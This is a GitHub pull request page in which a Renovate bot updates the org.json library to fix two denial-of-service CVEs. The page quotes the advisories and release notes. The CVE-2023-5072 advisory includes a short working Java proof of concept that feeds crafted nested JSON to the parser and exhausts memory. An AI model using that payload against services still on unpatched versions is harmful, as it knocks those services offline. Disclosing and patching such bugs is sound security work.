search

SE-8-2021 / backend

The backend of 2021 SE class group 8, inherited from the 2020 project.
https://pvs.xcc.tw
MIT License
0 stars 4 forks source link

fix(deps): update dependency org.json:json to v20231013 [security] #68

Open renovate[bot] opened 1 year ago

renovate[bot] commented 1 year ago

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
org.json:json 20220320 -> 20231013 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2022-45688

A stack overflow in the XML.toJSONObject component of hutool-json v5.8.10 and org.json:json before version 20230227 allows attackers to cause a Denial of Service (DoS) via crafted JSON or XML data.

CVE-2023-5072

Summary

A denial of service vulnerability in JSON-Java was discovered by ClusterFuzz. A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using \ to escape special characters, including \ itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of \ characters in the escaped string.

Severity

High - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet.

Proof of Concept

package orgjsonbug;

import org.json.JSONObject;

/**
 * Illustrates a bug in JSON-Java.
 */
public class Bug {
  private static String makeNested(int depth) {
    if (depth == 0) {
      return "{\"a\":1}";
    }
    return "{\"a\":1;\t\0" + makeNested(depth - 1) + ":1}";
  }

  public static void main(String[] args) {
    String input = makeNested(30);
    System.out.printf("Input string has length %d: %s\n", input.length(), input);
    JSONObject output = new JSONObject(input);
    System.out.printf("Output JSONObject has length %d: %s\n", output.toString().length(), output);
  }
}

When run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError.

Further Analysis

The issue is fixed by this PR.

Timeline

Date reported: 07/14/2023 Date fixed: Date disclosed: 10/12/2023

Release Notes

douglascrockford/JSON-java (org.json:json) ### [`v20231013`](https://redirect.github.com/stleary/JSON-java/releases/tag/20231013) [Compare Source](https://redirect.github.com/douglascrockford/JSON-java/compare/20230618...20231013) | Pull Request | Description | |-----|-----| |[#​793](https://redirect.github.com/douglascrockford/JSON-java/issues/793)| Reverted [#​761](https://redirect.github.com/douglascrockford/JSON-java/issues/761)| |[#​792](https://redirect.github.com/douglascrockford/JSON-java/issues/792)| update the docs for release [`2023101`](https://redirect.github.com/douglascrockford/JSON-java/commit/20231013)| |[#​783](https://redirect.github.com/douglascrockford/JSON-java/issues/783) |optLong vs getLong inconsistencies|  |[#​782](https://redirect.github.com/douglascrockford/JSON-java/issues/782)| Fix XMLTest.testIndentComplicatedJsonObjectWithArrayAndWithConfig() for Windows| |[#​779](https://redirect.github.com/douglascrockford/JSON-java/issues/779) |add validity check for JSONObject constructors| |[#​778](https://redirect.github.com/douglascrockford/JSON-java/issues/778) |Fix XMLTest.testIndentComplicatedJsonObjectWithArrayAndWithConfig() for Windows| |[#​776](https://redirect.github.com/douglascrockford/JSON-java/issues/776) |Update \[JUnit to version 4.13.2| |[#​774](https://redirect.github.com/douglascrockford/JSON-java/issues/774) |Removing unneeded synchronization| |[#​773](https://redirect.github.com/douglascrockford/JSON-java/issues/773) |Add optJSONArray method to JSONObject with a default value| |[#​772](https://redirect.github.com/douglascrockford/JSON-java/issues/772) |Disallow nested objects and arrays as keys in objects| |[#​779](https://redirect.github.com/douglascrockford/JSON-java/issues/779) |Unit test cleanup| |[#​769](https://redirect.github.com/douglascrockford/JSON-java/issues/769) |Addressed Java 17 compile warnings| |[#​764](https://redirect.github.com/douglascrockford/JSON-java/issues/764)| Update CodeQL action version| |[#​761](https://redirect.github.com/douglascrockford/JSON-java/issues/761) |Add module-info| |[#​759](https://redirect.github.com/douglascrockford/JSON-java/issues/759) |JSON parsing should detect embedded | |[#​753](https://redirect.github.com/douglascrockford/JSON-java/issues/753)| Updated new object methods| |[#​752](https://redirect.github.com/douglascrockford/JSON-java/issues/752)|Fixes possible unit test bug when compiling/testing on Windows| ### [`v20230618`](https://redirect.github.com/stleary/JSON-java/releases/tag/20230618) [Compare Source](https://redirect.github.com/douglascrockford/JSON-java/compare/20230227...20230618) | Pull Request | Description | |---------------|--------------| | [#​749](https://redirect.github.com/douglascrockford/JSON-java/issues/749) | [Prep for release 20230618](https://redirect.github.com/stleary/JSON-java/pull/749) | | [#​740](https://redirect.github.com/douglascrockford/JSON-java/issues/740) | [Fixed Flaky Tests Caused by JSON permutations](https://redirect.github.com/stleary/JSON-java/pull/734) | | [#​734](https://redirect.github.com/douglascrockford/JSON-java/issues/734) | [Fixed Flaky Tests Caused by JSON permutations](https://redirect.github.com/stleary/JSON-java/pull/734) | | [#​733](https://redirect.github.com/douglascrockford/JSON-java/issues/733) | [JSONTokener implemented java.io.Closeable](https://redirect.github.com/stleary/JSON-java/pull/733) | | [#​731](https://redirect.github.com/douglascrockford/JSON-java/issues/731) | [Removing commented out code in JSONObject optDouble()](https://redirect.github.com/stleary/JSON-java/pull/731) | | [#​729](https://redirect.github.com/douglascrockford/JSON-java/issues/729) | [Refactor ParserConfiguration class hierarchy](https://redirect.github.com/stleary/JSON-java/pull/729) | ### [`v20230227`](https://redirect.github.com/stleary/JSON-java/releases/tag/20230227) [Compare Source](https://redirect.github.com/douglascrockford/JSON-java/compare/20220924...20230227) | Pull Request | Description | |---------------|--------------| | [#​723](https://redirect.github.com/douglascrockford/JSON-java/issues/723) | Protect JSONML from stack overflow exceptions caused by recursion | | [#​720](https://redirect.github.com/douglascrockford/JSON-java/issues/720) | Limit the XML nesting depth for CVE-2022-45688 | | [#​711](https://redirect.github.com/douglascrockford/JSON-java/issues/711) | Revert pull 707 - interviewbit spam | | [#​704](https://redirect.github.com/douglascrockford/JSON-java/issues/704) | Move javadoc comments above the interface definition to make it visible | | [#​703](https://redirect.github.com/douglascrockford/JSON-java/issues/703) | Update Releases.md for JSONObject(Map): Throws NPE if key is null | | [#​696](https://redirect.github.com/douglascrockford/JSON-java/issues/696) | Update JSONPointerTest for NonDex compatibility | | [#​694](https://redirect.github.com/douglascrockford/JSON-java/issues/694) | Pretty print XML | | [#​692](https://redirect.github.com/douglascrockford/JSON-java/issues/692) | Example.md syntax highlight and indentation | | [#​691](https://redirect.github.com/douglascrockford/JSON-java/issues/691) | Create unit tests for various number formats | ### [`v20220924`](https://redirect.github.com/stleary/JSON-java/releases/tag/20220924) [Compare Source](https://redirect.github.com/douglascrockford/JSON-java/compare/20220320...20220924) | Pull Request | Description | |---------------|--------------| | [#​688](https://redirect.github.com/douglascrockford/JSON-java/issues/688) | Update copyright to Public Domain | | [#​687](https://redirect.github.com/douglascrockford/JSON-java/issues/687) | Fix a typo | | [#​685](https://redirect.github.com/douglascrockford/JSON-java/issues/685) | JSONObject map type unit tests | | [#​684](https://redirect.github.com/douglascrockford/JSON-java/issues/684) | Remove v7 build from pipeline | | [#​682](https://redirect.github.com/douglascrockford/JSON-java/issues/682) | JSONString similarity | | [#​675](https://redirect.github.com/douglascrockford/JSON-java/issues/675) | [https://github.com/stleary/JSON-java/pull/675](https://redirect.github.com/stleary/JSON-java/pull/675) |

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

This PR was generated by Mend Renovate. View the repository job log.